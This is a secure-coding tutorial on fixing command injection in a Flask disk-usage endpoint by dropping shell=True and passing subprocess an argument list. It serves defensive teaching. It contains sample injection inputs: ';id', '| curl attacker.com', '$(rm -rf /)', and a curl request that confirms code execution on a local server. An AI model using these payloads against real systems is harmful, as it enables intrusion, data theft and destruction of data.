How to Fix a Command Injection in a Flask API
When Python's subprocess runs a shell string built from user input, an attacker can append ;id, | curl attacker.com, or $(rm -rf /) and have the server execute it. The fix is one change: drop shell=True and pass a list instead of a string.
How command injection happens
A diagnostics endpoint that reports disk usage looks harmless:
path = request.args.get("path", "/var/log")
cmd = f"du -sh {path}"
out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, text=True)
With shell=True, Python hands the entire string to /bin/sh -c. An attacker
sends path=/etc;id and the shell sees:
du -sh /etc;id
The ; ends the du command and id runs as a new command - returning
uid=0(root) or whatever user the web process runs as. From there, the same
technique can read secrets, exfiltrate data, or open a reverse shell.
The fix: argument list, no shell
Replace the f-string with a list and remove shell=True:
# BEFORE (vulnerable)
cmd = f"du -sh {path}"
out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, text=True, timeout=5)
# AFTER (safe)
cmd = ["du", "-sh", path]
out = subprocess.check_output(cmd, stderr=subprocess.STDOUT, text=True, timeout=5)
When subprocess receives a list, it calls execvp directly - no shell is
involved. The entire path value, including ;, |, &&, and $(), is
passed as a single argument to du. Shell metacharacters have no meaning
outside a shell, so injection becomes impossible by construction.
Reproduce, then verify
Before the fix:
curl "http://localhost:8000/diskusage?path=/etc;id"
# returns uid=0(root)... in the response body - RCE confirmed
After the fix:
curl "http://localhost:8000/diskusage?path=/etc;id"
# returns {"error": "could not read path"} - the injected command never ran
curl "http://localhost:8000/diskusage?path=/etc"
# returns {"path": "/etc", "usage": "..."} - legitimate use still works
Why filtering metacharacters is not the answer
Blocklisting ;, |, &, $, backticks, and parentheses seems intuitive
but fails in practice. Quoting tricks, encoding variants, and future bypass
paths make an allowlist a moving target. Removing the shell entirely closes
the whole class of vulnerabilities - not just the patterns you thought of today.
For operations that do not require an external binary at all, prefer Python's
own shutil.disk_usage(path) - no subprocess, no injection surface, no shell.
Want to try it hands-on? HeyDevJob gives you this exact setup in a live cloud workspace in your browser - edit it, run it, and see it work. Free, nothing to install.
Try it in a workspace →What you'll practice
- Identifying shell=True subprocess calls that interpolate user input
- Replacing shell command strings with argument lists (execvp-safe)
- Reproducing and verifying command injection before and after the fix
FAQ
What is command injection in Python?
Command injection happens when user-supplied input is interpolated into a shell command string passed to subprocess with shell=True. The shell interprets metacharacters like ; | && $() as command separators, so an attacker can append their own commands and have them execute as the web process.
How do I fix command injection in Python subprocess?
Replace the shell string with a list: subprocess.check_output(['du', '-sh', path]) instead of subprocess.check_output(f'du -sh {path}', shell=True). With a list, Python calls execvp directly - no shell is invoked and metacharacters are just characters.
Is it safe to sanitize or filter user input before passing it to a shell?
No - filtering metacharacters is a losing game. Quoting tricks and encoding edge cases reliably bypass blocklists. The correct fix is to remove shell=True entirely and pass a list, which makes metacharacter filtering unnecessary.
How do you stop command injection?
Never build a shell string from user input. Pass an argument list to subprocess.run with shell=False (the default) so input is treated as data, not commands. If a shell is unavoidable, strictly allowlist and escape input.
Keep learning
Learn it by doing. Open this in a live cloud workspace, make the change yourself, and keep a record of the work you can share.
Open the workspace →